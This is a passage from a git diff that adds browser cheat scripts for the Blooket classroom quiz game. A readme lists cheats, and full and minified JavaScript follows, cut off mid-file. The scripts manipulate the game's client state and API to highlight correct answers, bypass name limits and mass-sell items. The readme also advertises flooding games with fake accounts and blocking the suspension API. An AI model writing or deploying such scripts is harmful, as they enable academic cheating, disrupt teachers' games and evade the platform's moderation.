3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\thighlightAnswers.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const a=async()=>{setInterval(()=>{const{state:o,props:n}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(o.question||n.client.question).correctAnswers.includes((o.question||n.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/intervals/highlightAnswers.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,a())})(); \ No newline at end of file diff --git a/cheats/global/readme.md b/cheats/global/readme.md new file mode 100644 index 0000000..acf35a2 --- /dev/null +++ b/cheats/global/readme.md @@ -0,0 +1,49 @@ +# Global Cheats + +## [Intervals](intervals/) +Cheats that loop automatically + +### [Auto Answer](intervals/autoAnswer.js) +Automatically answers questions for you + +### [Highlight Answers](intervals/highlightAnswers.js) +Automatically highlights the correct answers + + +## [Anti Flood Game](antiFloodGame.js) +Prevents bots from joining your Blooket game (HOST SCRIPT) +## [Auto Answer](autoAnswer.js) +Clicks the first correct answer +## [Auto Sell Dupes On Open](autoSellDupesOnOpen.js) +Sells the blook you unlock when you open a pack if you already have one (Doesn't sell Legendaries or rarer) +## [Change Blook Ingame](changeBlookIngame.js) +Changes your blook +## [Every Answer Correct](everyAnswerCorrect.js) +Makes every answer correct (Fixed bug that doesn't count it as correct in finals) +## [Flood Game](floodGame.js) +Floods a game with a number of fake accounts +## [Get Daily Rewards](getDailyRewards.js) +Gets max daily tokens and xp +## [Highlight Answers](highlightAnswers.js) +Highlights the correct and incorrect answers +## [Prevent Suspension](preventSuspension.js) +Blocks the `suspend-me` api[^1] +## [Remove Name Limit](removeNameLimit.js) +Sets the name limit to 120, which is the actual max name length limit +## [Remove Random Name](removeRandomName.js) +Allows you to put a custom name +## [Sell Cheap Duplicates](sellCheapDuplicates.js) +Sells all of your uncommon to epic dupes (not legendaries or chromas) +## [Sell Duplicate Blooks](sellDuplicateBlooks.js) +Sells all of your dupes +## [Simulate Pack](simulatePack.js) +Simulate opening a pack +## [Simulate Unlock](simulateUnlock.js) +Simulate unlocking most of the blooks +## [Spam Buy Blooks](spamBuyBlooks.js) +Opens a box a specified amount of times +## [Unlock Plus Gamemodes](unlockPlusGamemodes.js) +Unlocks Plus Only gamemodes +## [Use Any Blook](useAnyBlook.js) +Gives all blooks in game lobby +[^1]: Run everytime a new tab opens to make sure diff --git a/cheats/global/removeNameLimit.js b/cheats/global/removeNameLimit.js new file mode 100644 index 0000000..e1b4ea0 --- /dev/null +++ b/cheats/global/removeNameLimit.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + document.querySelector('input[class*="nameInput"]').maxLength = 120; /* 120 is the actual limit */ + alert("Removed name length limit"); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/removeNameLimit.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272127 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/removeNameLimit.min.js b/cheats/global/removeNameLimit.min.js new file mode 100644 index 0000000..bffd7a1 --- /dev/null +++ b/cheats/global/removeNameLimit.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tremoveNameLimit.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),document.querySelector('input[class*="nameInput"]').maxLength=120,alert("Removed name length limit")};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/removeNameLimit.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,i())})(); \ No newline at end of file diff --git a/cheats/global/removeRandomName.js b/cheats/global/removeRandomName.js new file mode 100644 index 0000000..ef634d6 --- /dev/null +++ b/cheats/global/removeRandomName.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({ isRandom: false, client: { name: "" } }); + document.querySelector('[class*="nameInput"]').focus(); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/removeRandomName.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272176 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/removeRandomName.min.js b/cheats/global/removeRandomName.min.js new file mode 100644 index 0000000..fe2c55e --- /dev/null +++ b/cheats/global/removeRandomName.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tremoveRandomName.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({isRandom:!1,client:{name:""}}),document.querySelector('[class*="nameInput"]').focus()};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/removeRandomName.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/global/sellCheapDuplicates.js b/cheats/global/sellCheapDuplicates.js new file mode 100644 index 0000000..2426c8d --- /dev/null +++ b/cheats/global/sellCheapDuplicates.js @@ -0,0 +1,53 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(([blook, amount]) => amount > 1 && !["Legendary", "Chroma", "Mystical"].includes(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a[blook].rarity)); + if (confirm(`Are you sure you want to sell your uncommon to epic dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch(() => alert('There was an error user data!')); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/sellCheapDuplicates.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272183 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/sellCheapDuplicates.min.js b/cheats/global/sellCheapDuplicates.min.js new file mode 100644 index 0000000..45747fc --- /dev/null +++ b/cheats/global/sellCheapDuplicates.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tsellCheapDuplicates.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),window.confirm=e.contentWindow.confirm.bind(window),e.remove();let o=webpackJsonp.push([[],{[1234]:(e,o,t)=>{o.webpack=t}},[["1234"]]])["webpack"],t=Object.values(o.c).find(e=>e.exports?.a?.get).exports.a,a=Object.values(o.c).find(e=>e.exports.a?.sellBlook).exports.a["sellBlook"];t.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:e}})=>{e=Object.entries(e).filter(([e,o])=>1{o.webpack=t}},[["1234"]]]).webpack("MDrD").a[e].rarity));if(confirm("Are you sure you want to sell your uncommon to epic dupes?")){var o,t,n=Date.now();for([o,t]of e)await a({blook:o,numToSell:t-1});alert(`(${Date.now()-n}ms) Results:\n`+e.map(([e,o])=>` ${e} `+(o-1)).join(`\n`))}}).catch(()=>alert("There was an error user data!"))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/sellCheapDuplicates.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let o=e.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/global/sellDuplicateBlooks.js b/cheats/global/sellDuplicateBlooks.js new file mode 100644 index 0000000..881756f --- /dev/null +++ b/cheats/global/sellDuplicateBlooks.js @@ -0,0 +1,53 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.confirm = i.contentWindow.confirm.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]), + axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a, + { sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a; + axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => { + let blooks = Object.entries(unlocks).filter(x => x[1] > 1); + if (confirm(`Are you sure you want to sell your dupes?`)) { + let now = Date.now(); + for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 }); + alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`); + } + }).catch((e) => (alert('There was an error user data!'), console.info(e))); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/sellDuplicateBlooks.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272190 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/sellDuplicateBlooks.min.js b/cheats/global/sellDuplicateBlooks.min.js new file mode 100644 index 0000000..edd4e69 --- /dev/null +++ b/cheats/global/sellDuplicateBlooks.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tsellDuplicateBlooks.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const c=async()=>{var o=document.createElement("iframe");document.body.append(o),window.alert=o.contentWindow.alert.bind(window),window.confirm=o.contentWindow.confirm.bind(window),o.remove();let e=webpackJsonp.push([[],{[1234]:(o,e,t)=>{e.webpack=t}},[["1234"]]])["webpack"],t=Object.values(e.c).find(o=>o.exports?.a?.get).exports.a,a=Object.values(e.c).find(o=>o.exports.a?.sellBlook).exports.a["sellBlook"];t.get("https://dashboard.blooket.com/api/users").then(async({data:{unlocks:o}})=>{o=Object.entries(o).filter(o=>1` ${o} `+(e-1)).join(`\n`))}}).catch(o=>(alert("There was an error user data!"),console.info(o)))};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/sellDuplicateBlooks.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var o=document.createElement("canvas").getContext("2d");o.drawImage(s,0,0,this.width,this.height);let e=o.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let o=0;o(s.src=null,c())})(); \ No newline at end of file diff --git a/cheats/global/simulatePack.js b/cheats/global/simulatePack.js new file mode 100644 index 0000000..c7fe4c6 --- /dev/null +++ b/cheats/global/simulatePack.js @@ -0,0 +1,320 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]); + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let packs = webpack('fGzD'); + packs = Object.keys(packs.a).reduce((obj, pack) => (obj.packs.includes(pack) && (obj.data[pack] = Object.fromEntries(packs.b(pack))), obj), { packs: Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt), data: {} }).data; + let box = prompt("Which box do you want to simulate? (ex: \"Ice Monster\")").split(' ').map(str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()).join(' '); + if (packs[box]) { + function weighted(pack) { + const weight = 0; + for (const item in packs[pack]) weight += packs[pack][item]; + const choice = Math.random() * weight; + let weightCount = 0; + for (const item in packs[pack]) { + weightCount += packs[pack][item]; + if (weightCount >= choice) return item; + } + } + function weighted(pack) { + let weights = []; + const items = Object.keys(packs[pack]); + for (const key of items) weights.push(packs[pack][key] + (weights[items.indexOf(key) - 1] || 0)); + const choice = weights[weights.length - 1] * Math.random(); + return items[weights.findIndex(w => w >= choice)]; + } + const blook = weighted(box); + let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports; + let scene = {}; + + class Particles extends phaser.Scene { + constructor(rarity) { + super(); + this.rarity = rarity.toLowerCase(); + } + preload() { + switch (this.rarity) { + case "uncommon": + this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 }); + this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 }); + this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 }); + break; + case "rare": + this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 }); + this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 }); + this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 }); + break; + case "epic": + this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 }); + this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 }); + this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 }); + this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 }); + break; + case "legendary": + this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 }); + this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 }); + this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 }); + break; + case "chroma": + this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 }); + this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 }); + this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 }); + } + } + create() { + scene.scene = this; + scene.rarity = ""; + scene.particles = this.physics.add.group({ + classType: new phaser.Class({ + Extends: phaser.GameObjects.Image, + initialize: function () { + phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1"); + this.setDepth(3); + this.lifespan = 0; + }, + spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) { + this.setTexture(texture); + this.setActive(true); + this.setVisible(true); + this.setPosition(x, y); + this.setScale(scale); + this.targets = []; + scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity); + this.body.setGravityY(gravity); + this.body.setAngularVelocity(angle); + this.lifespan = lifespan; + }, + update: function (t, s) { + this.lifespan -= s; + if (this.lifespan > 0) return; + this.setActive(!1); + this.setVisible(!1); + } + }), + runChildUpdate: !0 + }); + this.nextParticle = 0; + this.numExplosions = 0; + this.game.events.on("start-particles", (t) => { + scene.rarity = t; + this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1; + }); + } + update(e, t) { + const I = webpack("74sb"); + let Z = function (e) { + switch (e) { + case "center": { + var t = Object(I.l)(-115, -65); + return { + x: scene.scene.cameras.main.worldView.width / 2, + y: scene.scene.cameras.main.worldView.height / 2, + scale: Object(I.l)(.7, 1), + angle: t, + velocity: Object(I.l)(600, 750), + gravity: 700, + angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175), + lifespan: 2500 + } + } + case "right-bottom": return { + x: scene.scene.cameras.main.worldView.width, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-160, -110), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-bottom": return { + x: 0, + y: scene.scene.cameras.main.worldView.height, + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-70, -20), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "top": return { + x: Object(I.l)(0, scene.scene.cameras.main.worldView.width), + y: -50, + scale: Object(I.l)(.7, 1), + angle: 90, + velocity: Object(I.l)(0, 50), + gravity: 700, + angVelocity: Object(I.l)(-150, 150), + lifespan: 2500 + }; + case "right-shower": return { + x: scene.scene.cameras.main.worldView.width, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-180, -130), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + }; + case "left-shower": return { + x: 0, + y: Object(I.l)(0, scene.scene.cameras.main.worldView.height), + scale: Object(I.l)(.7, 1), + angle: Object(I.l)(-50, 0), + velocity: Object(I.l)(600, 750), + gravity: 500, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + }; + case "right-diamond": { + var a = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: scene.scene.cameras.main.worldView.width, + y: a, + scale: Object(I.l)(.7, 1), + angle: a > scene.scene.cameras.main.worldView.height / 2 ? -150 : -210, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(-175, -125), + lifespan: 2500 + } + } + case "left-diamond": { + var n = Object(I.l)(0, scene.scene.cameras.main.worldView.height); + return { + x: 0, + y: n, + scale: Object(I.l)(.7, 1), + angle: n > scene.scene.cameras.main.worldView.height / 2 ? -30 : 30, + velocity: Object(I.l)(600, 750), + gravity: 0, + angVelocity: Object(I.l)(125, 175), + lifespan: 2500 + } + } + default: return {}; + } + }; + if (scene.rarity && 0 !== this.numExplosions && (this.nextParticle -= t, this.nextParticle <= 0)) { + switch (scene.rarity) { + case "Uncommon": { + for (let i = 0; i < 2; i++) { + let n = scene.particles.get(); + n && n.spawn.apply(n, Object.values(Z("center")).concat(`uncommon-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Rare": { + for (var o = 0; o < 2; o++) { + var r = scene.particles.get(); + r && r.spawn.apply(r, Object.values(Z(o % 2 == 0 ? "left-bottom" : "right-bottom")).concat(`rare-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Epic": { + for (var s = 0; s < 2; s++) { + var i = scene.particles.get(); + i && i.spawn.apply(i, Object.values(Z(s % 2 == 0 ? "left-shower" : "right-shower")).concat(`epic-${Object(I.m)(1, 8)}`)) + } + break; + } + case "Legendary": { + for (var l = 0; l < 3; l++) { + var c = scene.particles.get(); + c && 